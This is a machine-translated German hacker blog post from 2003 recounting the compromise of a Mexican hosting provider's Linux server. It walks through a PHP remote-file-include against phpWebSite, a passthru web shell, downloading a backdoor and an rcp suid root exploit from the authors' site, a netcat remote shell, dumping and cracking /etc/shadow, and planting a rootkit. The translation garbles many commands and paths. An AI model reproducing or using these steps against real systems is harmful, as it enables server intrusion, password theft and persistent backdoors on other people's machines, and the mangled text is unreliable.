This page has been robot translated, sorry for typos if any. Original content here.

Root auf dem Hosting-Anbieter


Einführung
Ich habe mich entschlossen, gerade dieses Hacking zu beschreiben, weil es vor kurzem passiert ist (übrigens, zu diesem Zeitpunkt - am 23. Januar 2003 - ist der Server noch so in den Händen der DHG) hat auch der General mich vor einiger Zeit gebeten, ein paar interessante Hacker zu beschreiben.
Ich möchte nicht, dass diese Geschichte ein Werkzeug für die Gräueltaten anderer Leute ist, daher geben wir absichtlich einige Fehler / Ungenauigkeiten zu (die jedoch jeder fortgeschrittene Benutzer bemerken wird). Nun, kauen auch elementare Dinge, wie "Linux-Befehle auch an welcher Stelle zu suchen, wie man einen Festkörper kompiliert", werden wir nicht. Also, lass uns gehen.

Runde # 1: Fernbedienung.
Im Allgemeinen war das ursprüngliche Ziel das mexikanische Linux-Portal www. ***. Com, das einst von diesem Anbieter gehostet wurde.
Zunächst war es notwendig, die Achse herauszufinden, auf der dieses Portal steht. Obwohl, der Stumpf ist klar, dass die Seite über Linux in keiner Weise auf Windows hängen kann. Auf http war: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", das ftp-Banner lautete:
Managedhosting FTP Server (Version 6.5 / OpenBSD, Linux Port 0.3.2) bereit.
Scanne die Ports, cgi-bug'i und irgendeinen solchen Unsinn, wir wurden nicht - genauer gesagt, entschieden, auf später zu verschieben. Nun, ich wollte auch nicht die IP abdecken. Also, im FTP-Banner blitzte der Ausdruck "Hosting" auf! In Ripnet haben wir uns entschieden, direkt an ip'u zu richten, das www. ***. Com. Er brachte mich auf die Seite "managedhosting.dialtoneinternet.com.mx", die offensichtlich sein Gastgeber war. Später, eine kurze manuelle Bruteforce'a wurde die tatsächliche Website-Hosting berechnet: deltatoneinternet.com.mx (www.dialtone.com).
Hierauf beschlossen wir, vorerst auch auf die kaputte Stelle zu verzichten. Er war auf der PHP-Engine "phpWebSite" unbekannter Version. Dieser reguläre php-Nuke-Klon unterschied sich in keiner Weise mit einem besonderen Schwerpunkt auf Sicherheit. Alle Versionen von PWS bis 0.8.2 (sogar mit der Stable-Marke) hatten eine Schwachstellen-Klasse 'Php Source Injection'. Diejenigen, denen das nichts sagt, siehe r4ShRaYs Artikel zu dieser Sicherheitslücke. Der Rest, lesen Sie weiter. Also, hier ist ein Teil der Datei modsecurity.php:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, hier sollte alles klar bestehen. Führen Sie dieses Skript auf ähnliche Weise aus:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die Datei htmlheader.php, die auf unserer Seite liegt, wird mit den_exe_defined_paces ausgeführt. Das einzige, was mich gestört hat, war, dass die angegriffene Seite gepatcht wurde, oder eine neuere Version (immerhin ist es keine Art von "Vasyas Homepage", sondern ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir auf unserer Website eine Datei htmlheader.php erstellt, die folgenden Inhalt hat:

<? passthru ("$ cmd")?>

Dann ging zu der Adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Auf was wir den Katalogeintrag erhalten haben www. # Hinweis. Weitere Befehle werde ich ohne "...? Inc_prefix = http: // ..." kritzeln!

Runde # 2: lokal.
> echo hi> kewl.txt; Katze kewl.txt
Auf diese beiden Befehle reagierte der Browser mit einem leeren schneeweißen Bildschirm. Dies zeigte, dass ich nicht das Recht hatte, in das www-Verzeichnis zu schreiben. Das heißt, es ist zu früh, um über die Verunstaltung zu sprechen. Bevor weitere Maßnahmen ergriffen wurden, war es notwendig, mehr Informationen über das System zu sammeln. Hauptsache, wir haben die httpd.conf Datei bekommen:
> cat /etc/httpd/conf/httpd.conf
Von dort rissen wir die Version des Newsreaders raus (übrigens, der HTTP-Header 'Server' schwieg über das Vorhandensein von FrontPage), auch die Route zu den www-Verzeichnissen der Seiten: dalletoneinternet.com.mx (broken hosting provider), stormarketing.com, altavistablinds.com, parigitown.com, nun, auch zu mehreren großen Quellen:
# -FrontPage- Version = 4.0
##
## httpd.conf - Apache HTTP Server Konfigurationsdatei
##
...
<VirtualHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversicher>
Optionen Alle
AllowOverride Alle
</ Directory>
Servername deltonneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog Protokolle / Fehlerprotokoll
TransferLog logs / transfer_log
Gruppe niemand
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Natürlich, um sie zu verunstalten, gibt es nicht genug Rechte, aber sie reichen aus, um die phronical service.pwd (wenn überhaupt) dieser Seiten zu sehen, mit allen daraus folgenden Konsequenzen;) Diese Gelegenheit haben wir auf dieses Abenteuer verlassen, wenn ich es tat in irgendeiner Weise wird es nicht möglich sein, die Privilegien zu erhöhen.
Als nächstes haben wir für Interesse eingeführt:
> netstat -a
Was ich bekommen habe (# - meine Tags):
  Aktive Internetverbindungen (Server und eingerichtet)
 Proto Recv-Q Send-Q Lokale Adresse Fremdadressstatus 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226:3116 HERGESTELLT 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: Domäne *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: Domäne *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 UDP 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: Domäne *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 UDP 0 0 66.33.62. *: Domäne *: * 
 UDP 0 0 localhost.locald: Domäne *: * 
 Roh 0 0 *: UDP *: * 7 
 roh 0 0 *: tcp *: * 7 
 Roh 0 0 *: ICMP *: * 7 
 roh 0 0 *: tcp *: * 7 
 Aktive UNIX-Domain-Sockets (Server und installiert)
 Proto RefCnt Flags Typ Status I-Node Pfad
 Unix 0 [ACC] STREAM HÖREN 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM HÖREN 2087 /tmp/mysql.sock
 Unix 4 [] DGRAM 290 / dev / log
 UNIX 0 [ACC] STREAMHÖREN 549144 / var / run / ndc
 Unix 0 [] STREAM 565939 
 Unix 0 [] DGRAM 555692 
 Unix 0 [] DGRAM 549142 
 Unix 0 [] DGRAM 3193 
 Unix 0 [] DGRAM 303 
(1) ist wir =)
(2) - das Vorhandensein von ssl drückt normalerweise den Austausch von privaten Informationen mit dem Server aus (z. B. cc). Obwohl, für das Hosting ist es in der Reihenfolge der Dinge.
(3) - hier ist er! Er wird später nützlich sein.
Ich brauchte auch keine Ports zu scannen :)
Als nächstes war es notwendig, mit einigen spezifischen Aktionen fortzufahren, oder besser gesagt, zumindest die Version des Caps zu kennen und davon ausgehend bereits weiter zu tanzen. Also, für diejenigen, die überhaupt nicht wissen, verlassen einige (wenn nicht alle) Linux-Distributionen die Datei "* -release" (wobei * der Name der Distribution ist: Alraune-Release, Cobalt-Release ...) in der / etc / Auch Admins haben keine Möglichkeit, es zu beseitigen.
> Katze / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaa, muss ich sagen, das haben wir nicht erwartet :) Der ganze Rest des Blabla war eine Frage der Technik. Um die lang erwartete Raute zu erreichen, entschieden wir uns, RedHats Schwachstelle in rcp zu nutzen.

Red Hat 6.2: rcp mögliches Wurzelloch
In der Tat wurde die Sicherheitslücke in cap 6.2 gefunden .. Etwa 6.1 in der Post von Andrew Griffiths und Tlabs sagte kein Wort. Ponadeyavshis Glück, haben wir vorgestellt:
> ls -alF `welches rcp`
-rwsr-xr-x 1 Wurzel root 14868 Jul 30 1999 / usr / bin / rcp *
Op! Die suid rcp besitzt das Zimmer zu sein! Es ist schon gut :) Ich habe mich "rcpsploit.pl" von tlabs plus gegossen, die Quelle studiert, angehalten. Ich werde vielleicht erklären, wie dieser Körper funktioniert, vielleicht wird er Ihnen helfen, das Wesen der Verletzlichkeit des entstandenen Problems zu verstehen.
Also, es erstellt 2 Dateien:
/tmp/shell.c---------------------

#include
#include
int Haupt ()
{
Setuid (0);
Setgid (0);
execl ("/ bin / sh", "sh", 0);
zurückgeben 0;
}


hey ------------------------------
Sploit geschrieben von tlabs, danke an Andrew Griffiths für den Fehlerbericht

Dann, durch die suid rcp, verschmilzt die Shell der Shell.c auch als chmod'om fungiert als solche blah-blah-suid. Das ist auch alles! Das Ausführen der kompilierten Shell erhält auch eine Shell mit uid = 0, gid = 0. Aber was nutzt diese Shell für uns, wenn wir Befehle über einen Webserver ausführen? : - /
Um diese solide Arbeit zu machen, wurde nur auf der "normalen" Shell erlaubt.
Nun, du brauchst eine Muschel? Er wird! In meinem Warez-Archiv staubt schon lange ein langer Trojaner, den wir uns auch ausgesucht haben:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> nc ***. com 51015
Nach der Verbindung:
> CD / Tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir werden nur eine Shell starten, lass uns hoffen, dass die Scheiße gut ging :)
> id
uid = 0 (root) gid = 0 (root) Gruppen = 0 (root), 1 (bin), 2 (Daemon), 3 (sys), 4 (adm), 6 (disk), 10 (rad)
Das ist auch alles :) Gut auch das letzte:
> Katze / etc / Schatten
Wurzel: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... usw.
JTR zählte 977 Passwörter%) Um die Büste zu beschleunigen, führten wir ein:
John -i: alle -u: Wurzel Schatten
Irgendwo 8 Stunden und ... lang ersehnter Moment:




Dann habe ich lrk hineingeschüttet, ein paar Datapipes auch bnc ... obwohl das eine ganz andere Geschichte ist ....

Was wurde während des Hackens verwendet:
Netscape v.xz
SecureCRT 3.1
NetCat
John der Trenner
backhole.pl
rcpsploit.pl
Gehirne
PaketStormSicherheit

Schlussfolgerungen / Anmerkungen / Kommentare:
1. Wenn ein bestimmter Server als Hosting-Provider oder Linux-Portal wichtig ist, heißt das nicht, dass er gut geschützt ist.
2. Während des Hackens sollten Sie Ihren eigenen Typ nicht explizit deklarieren (dies wird später ein Artikel).
3. Beim Hacken wird fast nie die sogenannte "Hacker" -Software verwendet.
4. RH6. * - iss nicht :)

PS IMHO, der Leser mag den Eindruck haben, dass ich nur Glück gehabt habe, auch das gesamte Hacking hat ein paar Minuten gedauert. Das ist nicht so. Es gab Momente, in denen meine Hände einfach fallen gelassen wurden, zu welcher Zeit ich meinen Kopf gegen die Wand kämpfen wollte.

Autor: D4rkGr3y


Das Material wird mit der Erlaubnis von DHGROUP veröffentlicht (http://www.dhgroup.org)